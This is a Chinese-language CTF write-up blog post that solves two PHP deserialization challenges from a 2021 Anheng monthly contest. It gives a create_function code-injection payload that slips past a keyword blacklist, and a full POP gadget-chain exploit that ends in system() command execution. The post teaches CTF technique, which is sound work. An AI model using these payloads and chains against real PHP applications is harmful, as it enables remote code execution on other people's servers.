2021安恒9月赛

前言

战队的神仙大佬们都在打TCTF,我看不懂题目但我大为震撼,而我还在打安恒月赛,这大概就是世界的参差吧。。。。

hellounser

拿了一个一血,可能是题目比较简单吧

<?php
class A {
public $var;
public function show(){
echo $this->var;
}
public function __invoke(){
$this->show();
}
}

class B{
public $func;
public $arg;

public function show(){
$func = $this->func;
if(preg_match('/^[a-z0-9]*$/isD', $this->func) || preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log/i', $this->arg)) {
die('No!No!No!');
} else {
include "flag.php";
//There is no code to print flag in flag.php
$func('', $this->arg);
}
}

public function __toString(){
$this->show();
return "<br>"."Nice Job!!"."<br>";
}
}

$a=new A();
$b=new B();
$b->func="create_function";
$b->arg="}require(base64_decode(VHJ1M2ZsYWcucGhw));var_dump(get_defined_vars());//";
$a->var=$b;
echo serialize($a);
?>

xxc

发现自己在挖掘这种框架下的链子的时候很不熟练,主要是不会书写命名空间的语法
首先是确定起点——>寻找destruct魔术方法,其中$process可控,并且指向一个函数,寻找__call看看有没有_call方法

namespace Control\State;
class StopHook {
protected $output;
protected $config = ['auto' => 0];
protected static $states = ['started', 'running', 'finished', 'waiting', 'fail'];
protected $processes;

public function __destruct() {
$this->_exit();
}

private function _exit() {
foreach(array_reverse($this->processes) as $process) {
if (!$process->isRunning) {
continue;
}
$process->stop();
}
}
}

在这个命名空间下有call方法,让其跳转至此,发现一个echo,看看是否有__tostring方法

<?php
namespace Faker;

class MyGenerator {

protected $defaultValue;

public function __call($method, $arg_array) {
echo $this->defaultCall;
return $this->defaultCall;
}

public function __get($property) {
return $this->defaultValue;
}
}

在这个命名空间下可以发现一个tostring,跟进以后,发现其存在一个isset,那么就只需要寻找__isset魔术方法,看看是否能继续跳转

<?php
namespace Method\Func;

class GetFile {

private $flag = true;
private $files = [];

public function __toString() {
return $this->getFiles();
}

public function getFiles() {
if (!$this->flag) return "denied";
$s = "";

if (isset($this->flag->{$this->value})) {
return "test";
}

foreach ($this->files as $file) {
$s += $file->read();
}
return $s;
}
}

在这里会回来执行popup,并且存在一个$s($length),类似于调用一个函数,那么如果将这个函数调用方式改为对象,即可触发__invoke方法

<?php
namespace Method\Func;

class GetDefault {
private $source;

public function popup($length) {
$s = $this->source;
if ($s->flag != "myTest") {
return "denied";
}
return $s($length);
}

public function __isset($property) {
if ($property != "test") {
return false;
}
return !$this->popup(666);
}
}

序列化终点就在这里,调用这个call_user_func实现命令执行

<?php
namespace Method\Func;

class GenerateFile {
public $flag;
protected $buffer;

public function __invoke($param) {
$this->myGen($param);
}

public function myGen($length) {
$s = $this->buffer->read;
call_user_func($this->source->generate, $length);
return $s;
}
}

那么最终构造的链条如下:

<?php
namespace Control\State;
use Faker\MyGenerator;
{
class StopHook
{
protected $output;
protected $config = ['auto' => 0];
protected static $states = ['started', 'running', 'finished', 'waiting', 'fail'];
protected $processes;

public function __construct()
{
$this->processes=array(new MyGenerator());
}

public function __destruct()
{
$this->_exit();
}

private function _exit()
{
foreach (array_reverse($this->processes) as $process) {
if (!$process->isRunning) {
continue;
}
$process->stop();
}
}
}
include("D:\apache\www\安恒月赛\www\closure/autoload.php");#这边似乎不影响,我在本地需要调用这个文件,但是题目已经自动给你包含了,所以问题不大
$a=new StopHook();
echo base64_encode(serialize($a));
}

namespace Faker;
use Method\Func\GetFile;
{
class MyGenerator
{

protected $defaultValue;

public function __construct()#构建对象时被调用
{
$this->defaultValue = new GetFile();
}

public function __call($method, $arg_array)
{
echo $this->defaultCall;
return $this->defaultCall;
}

public function __get($property)
{
return $this->defaultValue;
}
}
}
namespace Method\Func;
{

class GetFile
{

private $flag = true;
private $files = [];

public function __construct()
{
$this->flag = new GetDefault();
$this->value = "test";
}

public function __toString()
{
return $this->getFiles();
}

public function getFiles()
{
if (!$this->flag) return "denied";
$s = "";

if (isset($this->flag->{$this->value})) {
return "test";
}

foreach ($this->files as $file) {
$s += $file->read();
}
return $s;
}
}
class GetDefault
{
private $source;

public function __construct()
{

$this->source = new GenerateFile();
$this->source->flag = "myTest";
}

public function popup($length)
{
$s = $this->source;
if ($s->flag != "myTest") {
return "denied";
}
return $s($length);
}

public function __isset($property)
{
if ($property != "test") {
return false;
}
return !$this->popup(666);
}
}
class GenerateFile
{
public $flag;
protected $buffer;
public $source;

public function __construct()
{
$function = function () {
system("ls");
};
$a = \Opis\Closure\serialize($function);
$b = unserialize($a);
$this->source->generate = $b;
}

public function __invoke($param)
{
$this->myGen($param);
}

public function myGen($length)
{
$s = $this->buffer->read;
call_user_func($this->source->generate, $length);
return $s;
}
}
}

其中需要说明的是,在每次调用链的时候都要先声明一下所在的命名空间,并且,如果需要调用到其他命名空间的内容的时候,需要使用use,举个例子use Method\Func\GetFile;不然就会报错

有点可惜的是,比赛的时候已经构造出链子了,但是当时没学好命名空间的基本用法,所以就一直打不通哎~

Author

vague huang

Posted on

2021-09-25

Updated on

2021-09-26

Licensed under

Comments